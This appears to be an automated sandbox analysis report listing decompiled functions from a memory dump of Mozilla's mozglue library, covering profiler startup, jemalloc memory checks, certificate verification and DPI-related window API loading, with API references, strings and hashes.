String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: ffe39d2bc8055325bad58ee21604f0cfaf570aef79576153f2bf928493efcff3
Instruction ID: 091bd5713851a6944659a2363b7c4a6319c05b9b3a3bfb0bc1db15b811fce999
Opcode Fuzzy Hash: ffe39d2bc8055325bad58ee21604f0cfaf570aef79576153f2bf928493efcff3
Instruction Fuzzy Hash: 1A22F5B0A047009BD700FF748C68E5A7BB4EF8634DF168629E85997B41EF30A859CB57

Function 6C50B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50B845
AcquireSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000), ref: 6C50B852
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50B884
InitializeConditionVariable.KERNEL32(?), ref: 6C50B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C50B9FD
GetCurrentThreadId.KERNEL32 ref: 6C50BA05
AcquireSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000), ref: 6C50BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C50BA27
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50BA4B
free.MOZGLUE(?), ref: 6C50C9C7
free.MOZGLUE(?), ref: 6C50C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C50C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C50C7DA

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 7f364218ea66902705fe4ec691e476284ee039c2c1c551552faa8541993b6a26
Instruction ID: 9d4fd742274f9a22d9379e1dff0db0f5a8c3140603685dd0e472b79525957a5a
Opcode Fuzzy Hash: 7f364218ea66902705fe4ec691e476284ee039c2c1c551552faa8541993b6a26
Instruction Fuzzy Hash: 63A28E71A087808FC725DF28C890B9BB7E5BFC9314F058A2DE899D7750DB71A905CB92

Function 6C4D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4D6D26

Part of subcall function 6C4DCA10: malloc.MOZGLUE(?), ref: 6C4DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4D6D73
free.MOZGLUE(00000000), ref: 6C4D6D80
CertGetNameStringW.CRYPT32 ref: 6C4D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4D6E34
CreateFileW.KERNEL32 ref: 6C4D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4D7103
free.MOZGLUE(00000000), ref: 6C4D7153
CloseHandle.KERNEL32(?), ref: 6C4D7176
__Init_thread_footer.LIBCMT ref: 6C4D7209
__Init_thread_footer.LIBCMT ref: 6C4D723A
__Init_thread_footer.LIBCMT ref: 6C4D726B
__Init_thread_footer.LIBCMT ref: 6C4D729C
__Init_thread_footer.LIBCMT ref: 6C4D72DC
__Init_thread_footer.LIBCMT ref: 6C4D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4D73C2
VerSetConditionMask.NTDLL ref: 6C4D73F3
VerSetConditionMask.NTDLL ref: 6C4D73FF
VerSetConditionMask.NTDLL ref: 6C4D7406
VerSetConditionMask.NTDLL ref: 6C4D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4D741A
moz_xmalloc.MOZGLUE(?), ref: 6C4D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4D7598
free.MOZGLUE(00000000), ref: 6C4D75AC

Part of subcall function 6C4FAB89: EnterCriticalSection.KERNEL32(6C54E370,?,?,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284), ref: 6C4FAB94
Part of subcall function 6C4FAB89: LeaveCriticalSection.KERNEL32(6C54E370,?,6C4C34DE,6C54F6CC,?,?,?,?,?,?,?,6C4C3284,?,?,6C4E56F6), ref: 6C4FABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C4D72C8
wintrust.dll, xrefs: 6C4D72CD
SHA256, xrefs: 6C4D6EC0
(, xrefs: 6C4D768A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: f0e47c8404540bda831d159a09e4cd743f575a1492efac6bd41cf5c9b6fb2feb
Instruction ID: b61618143bdbd1cd27105030399f534710684ec7223640d40f474347b0cf91fe
Opcode Fuzzy Hash: f0e47c8404540bda831d159a09e4cd743f575a1492efac6bd41cf5c9b6fb2feb
Instruction Fuzzy Hash: A052FA71A042159BEB21EF24CC94F9A77B8EF85308F128599E5099B740DB70BF85CF91

Function 6C4F6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54E7DC), ref: 6C4F7019
LeaveCriticalSection.KERNEL32(6C54E7DC), ref: 6C4F7061
EnterCriticalSection.KERNEL32(?), ref: 6C4F71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C4F721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C4F723E
EnterCriticalSection.KERNEL32(?), ref: 6C4F726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C4F72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C4F733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C4F73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4F9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4F9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4F964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4F96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4F96DB
AcquireSRWLockExclusive.KERNEL32(6C54E804), ref: 6C4F9747
GetSystemInfo.KERNEL32(?), ref: 6C4F9792
__Init_thread_footer.LIBCMT ref: 6C4F97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C54E810,00000040), ref: 6C4F97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7B8,00001388), ref: 6C4F9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E744,00001388), ref: 6C4F984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E784,00001388), ref: 6C4F9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C54E7DC,00001388), ref: 6C4F9895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C4F9BF4
Compile-time page size does not divide the runtime one., xrefs: 6C4F9B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F99D2
MOZ_CRASH(), xrefs: 6C4F9B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C4F9993
MALLOC_OPTIONS, xrefs: 6C4F97CA
<jemalloc>, xrefs: 6C4F9B33, 6C4F9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F99A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F99BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9933, 6C4F9A33, 6C4F9A4E

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: de82d6e94b6f21eb41ee8504201c141befc97d583f955a8025dc9ca9228c1b97
Instruction ID: ddea187dd2f57193d2860d0be045a837a1eb23bd9dac4b3172d921d9550a064e
Opcode Fuzzy Hash: de82d6e94b6f21eb41ee8504201c141befc97d583f955a8025dc9ca9228c1b97
Instruction Fuzzy Hash: A4533C71A097018FD714CF29C980E15BBE1BFC6328F29C66DE8698B791D775E842CB81

Function 6C500DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C500F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C500F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C500FB7
EnterCriticalSection.KERNEL32(?), ref: 6C500FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C501031
LeaveCriticalSection.KERNEL32(?), ref: 6C5010D0
EnterCriticalSection.KERNEL32(?), ref: 6C50117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C501C39
EnterCriticalSection.KERNEL32(6C54E744), ref: 6C503391
LeaveCriticalSection.KERNEL32(6C54E744), ref: 6C5033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C503431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C503437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C503A02
Compile-time page size does not divide the runtime one., xrefs: 6C503946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5037D2
MOZ_CRASH(), xrefs: 6C503950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C503793
MALLOC_OPTIONS, xrefs: 6C5035FE
<jemalloc>, xrefs: 6C503941, 6C5039F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5037A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5037BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C503559, 6C50382D, 6C503848

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 914d8a64e5cd7748aefecb5396f1b3563f8b3cc6e1a059883f04dc55dde40c82
Instruction ID: a7ffcd4ab6c79fbd245b1de2fc66bc22b1a99da7bee2c7085b001596799961fb
Opcode Fuzzy Hash: 914d8a64e5cd7748aefecb5396f1b3563f8b3cc6e1a059883f04dc55dde40c82
Instruction Fuzzy Hash: 9F534A71B056018FD704CF29C950A16FBE1BF89328F29C6ADE869DB7A1D771E841CB81

Function 6C5255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C4FE1A5), ref: 6C525606
LoadLibraryW.KERNEL32(gdi32,?,6C4FE1A5), ref: 6C52560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C525633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C52563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C52566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C52567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C525696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C525716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C52572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C525748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C525761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C52577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C525793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5257FF

Strings

GetMonitorInfoW, xrefs: 6C5257A2
GetDpiForWindow, xrefs: 6C525690
LoadIconW, xrefs: 6C52575B
RegisterClassW, xrefs: 6C5256AC
CreateWindowExW, xrefs: 6C5256C5
SetWindowPos, xrefs: 6C5256F7
user32, xrefs: 6C525601
MonitorFromWindow, xrefs: 6C52578D
DeleteObject, xrefs: 6C5257F9
GetSystemMetricsForDpi, xrefs: 6C525677
ShowWindow, xrefs: 6C5256DE
EnableNonClientDpiScaling, xrefs: 6C525666
GetThreadDpiAwarenessContext, xrefs: 6C52562D
gdi32, xrefs: 6C52560A
LoadCursorW, xrefs: 6C525774
CreateSolidBrush, xrefs: 6C5257E4
ReleaseDC, xrefs: 6C525742
SetWindowLongPtrW, xrefs: 6C5257B7
GetWindowDC, xrefs: 6C525710
FillRect, xrefs: 6C525729
StretchDIBits, xrefs: 6C5257CC
AreDpiAwarenessContextsEqual, xrefs: 6C525637

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 021764d59de139c786e55d0e60f817fdbd98e42de3f4894568fb4df59b011e5f
Instruction ID: 79fed7624457183189462d0b41b5067ef61a68c7b980a6223069b472f6f536d1
Opcode Fuzzy Hash: 021764d59de139c786e55d0e60f817fdbd98e42de3f4894568fb4df59b011e5f
Instruction Fuzzy Hash: 945143706017129BDB00BF398D48D6B3AF8EB463497A2D525E911E3A46EB78C8108F68

Function 6C5234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C523EE2

Part of subcall function 6C526180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5261DD
Part of subcall function 6C526180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C52622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C524157

Part of subcall function 6C526180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526250
Part of subcall function 6C526180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C524448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C52484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C524863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C524878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C524896
free.MOZGLUE ref: 6C52489F

Strings

, xrefs: 6C524CD2

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 50245fa8bd8e61b87d20120a7a0f8bcbabc5ffd1bbfe2b48f53a97efc5be426a
Instruction ID: f9399e2f8f7bf6b1da3a09a3de39b7d175ac4f754b1b2a35faf07ce5045d0463
Opcode Fuzzy Hash: 50245fa8bd8e61b87d20120a7a0f8bcbabc5ffd1bbfe2b48f53a97efc5be426a
Instruction Fuzzy Hash: 55F23A74908B808FC725CF28C48469AFBF1FFC9358F118A5ED99997751DB31A886CB42

Function 6C50F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50F09B

Part of subcall function 6C4E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B85
Part of subcall function 6C4E5B50: EnterCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5B90
Part of subcall function 6C4E5B50: LeaveCriticalSection.KERNEL32(6C54F688,?,?,?,6C4E56EE,?,00000001), ref: 6C4E5BD8
Part of subcall function 6C4E5B50: GetTickCount64.KERNEL32 ref: 6C4E5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C50F0AC

Part of subcall function 6C4E5C50: GetTickCount64.KERNEL32 ref: 6C4E5D40
Part of subcall function 6C4E5C50: EnterCriticalSection.KERNEL32(6C54F688), ref: 6C4E5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C50F0BE

Part of subcall function 6C4E5C50: __aulldiv.LIBCMT ref: 6C4E5DB4
Part of subcall function 6C4E5C50: LeaveCriticalSection.KERNEL32(6C54F688), ref: 6C4E5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C50F155
GetCurrentThreadId.KERNEL32 ref: 6C50F1E0
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F1ED
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F212
GetCurrentThreadId.KERNEL32 ref: 6C50F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C50F248
GetCurrentThreadId.KERNEL32 ref: 6C50F2AE
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F2BB
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F2F8

Part of subcall function 6C4FCBE8: GetCurrentProcess.KERNEL32(?,6C4C31A7), ref: 6C4FCBF1
Part of subcall function 6C4FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4C31A7), ref: 6C4FCBFA

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50F350
AcquireSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F35D
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F381
GetCurrentThreadId.KERNEL32 ref: 6C50F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F3A0
GetCurrentThreadId.KERNEL32 ref: 6C50F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50F491

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C50F3CF

